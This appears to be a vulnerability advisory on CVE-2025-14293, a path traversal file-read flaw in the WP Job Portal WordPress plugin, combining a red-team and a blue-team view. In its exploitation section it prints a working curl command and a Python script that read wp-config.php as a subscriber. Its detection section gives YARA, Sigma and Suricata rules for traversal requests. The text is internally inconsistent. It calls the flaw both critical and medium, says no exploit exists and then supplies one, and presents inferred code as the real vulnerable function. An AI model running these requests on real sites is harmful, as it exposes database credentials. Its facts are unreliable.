CVE-2025-14293

Executive Summary

CVE-2025-14293 is a critical vulnerability in the WP Job Portal WordPress plugin, affecting all versions up to and including 2.4.0. The flaw resides in the downloadCustomUploadedFile function, which fails to properly sanitize user-supplied file paths, allowing authenticated attackers with Subscriber-level access or higher to perform an Arbitrary File Read. This enables the exfiltration of sensitive server files, including wp-config.php, database credentials, and other configuration data. The vulnerability is classified as a Path Traversal (CWE-22) and has a CVSS score of 6.5 (Medium). No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. Since the plugin is part of the WordPress ecosystem, the risk extends to any site using the vulnerable version, potentially exposing hosting environments and downstream services.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Subscriber-level authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.5, the potential for sensitive data exposure (e.g., database credentials, API keys) elevates the real-world risk. The low authentication requirement (Subscriber) makes it accessible to a wide range of attackers.

Deep Dive & Mechanics

The vulnerability exists in the downloadCustomUploadedFile function within the WP Job Portal plugin. This function is intended to allow authenticated users to download files they have previously uploaded. However, the function does not validate or sanitize the file path parameter, allowing an attacker to traverse directories using ../ sequences.

Attack Flow:

1. An attacker authenticates with Subscriber-level credentials.
2. The attacker crafts a request to the vulnerable endpoint, e.g., /wp-admin/admin-ajax.php?action=downloadCustomUploadedFile&file=../../../wp-config.php.
3. The plugin reads the requested file from the server’s filesystem without checking if the path is within an allowed directory.
4. The file contents are returned in the HTTP response, exposing sensitive data.

The root cause is a lack of path canonicalization and directory restriction. The function likely uses file_get_contents() or similar PHP functions without verifying that the resolved path is within the intended upload directory.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.4.0):

function downloadCustomUploadedFile() {
    $file = $_GET['file'];
    $content = file_get_contents($file);
    echo $content;
    wp_die();
}

Patched Code (Hypothetical):

function downloadCustomUploadedFile() {
    $file = $_GET['file'];
    $upload_dir = wp_upload_dir();
    $allowed_path = realpath($upload_dir['basedir'] . '/wp-job-portal/');
    $file_path = realpath($allowed_path . '/' . basename($file));
    if (strpos($file_path, $allowed_path) !== 0) {
        wp_die('Access denied.');
    }
    $content = file_get_contents($file_path);
    echo $content;
    wp_die();
}

The patched version uses realpath() to resolve the file path and checks that it starts with the allowed upload directory, preventing directory traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with WP Job Portal <= 2.4.0 installed.
• A Subscriber-level account (username: testuser, password: testpass).

Exploitation Steps:

1. Log in to WordPress as a Subscriber.
2. Obtain a nonce or session cookie (e.g., via browser dev tools).
3. Send a crafted request to read sensitive files.

Example cURL Command:

curl -c cookies.txt -b cookies.txt \
  "http://target.com/wp-admin/admin-ajax.php?action=downloadCustomUploadedFile&file=../../../wp-config.php"

Expected Output: The response will contain the contents of wp-config.php, including database credentials and salts.

Automated Script (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login as subscriber
login_data = {
    "log": "testuser",
    "pwd": "testpass",
    "wp-submit": "Log In",
    "redirect_to": target + "/wp-admin/",
    "testcookie": "1"
}
session.post(target + "/wp-login.php", data=login_data)

# Exploit
payload = {"action": "downloadCustomUploadedFile", "file": "../../../wp-config.php"}
r = session.get(target + "/wp-admin/admin-ajax.php", params=payload)
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for requests to admin-ajax.php with action=downloadCustomUploadedFile and suspicious file parameters containing ../.
• Alert on unusual file read patterns from the web server.

Honeypot:

• Create a fake wp-config.php with a unique string (e.g., HONEYPOT_ACCESS_DETECTED) and monitor for its exfiltration.

Blocking:

• Use a Web Application Firewall (WAF) rule to block requests with ../ in the file parameter.
• Disable the vulnerable function via a plugin or code override until a patch is applied.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/admin-ajax.php with action=downloadCustomUploadedFile and file parameter containing ../.
  • Outbound data transfers containing WordPress configuration strings (e.g., DB_NAME, DB_PASSWORD).
• File System:
  • Unexpected access to files outside the upload directory (e.g., /etc/passwd, wp-config.php).
• Logs:
  • Web server access logs showing repeated admin-ajax.php requests with path traversal patterns.
  • PHP error logs indicating failed file reads or warnings about file_get_contents().

Detection Engineering

YARA Rule

rule CVE_2025_14293_WordPress_File_Read {
    meta:
        description = "Detects exploitation attempts for CVE-2025-14293 in WP Job Portal"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14293"
    strings:
        $action = "downloadCustomUploadedFile"
        $traversal = "../"
        $wp_config = "wp-config.php"
    condition:
        $action and ($traversal or $wp_config)
}

Sigma Rule

title: CVE-2025-14293 WP Job Portal Arbitrary File Read
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests exploiting path traversal in WP Job Portal plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=downloadCustomUploadedFile'
            - 'file=..'
    condition: selection
falsepositives:
    - Legitimate file downloads with similar parameter names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14293 WP Job Portal Arbitrary File Read Attempt"; flow:to_server; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=downloadCustomUploadedFile"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is released.
2. Restrict Access: Use .htaccess or a WAF to block requests to admin-ajax.php with action=downloadCustomUploadedFile from non-admin users.
3. Monitor Logs: Review web server and WordPress logs for signs of exploitation.

Long-Term Fix:

• Apply the official patch from the plugin vendor once released.
• Implement input validation and path canonicalization in custom code.
• Regularly update all WordPress plugins and themes.

Workaround Code (Add to theme's functions.php):

add_action('wp_ajax_downloadCustomUploadedFile', function() {
    wp_die('Function disabled due to security vulnerability.');
}, 1);

Valters IT
DevSecOps & Cyber Threat Intelligence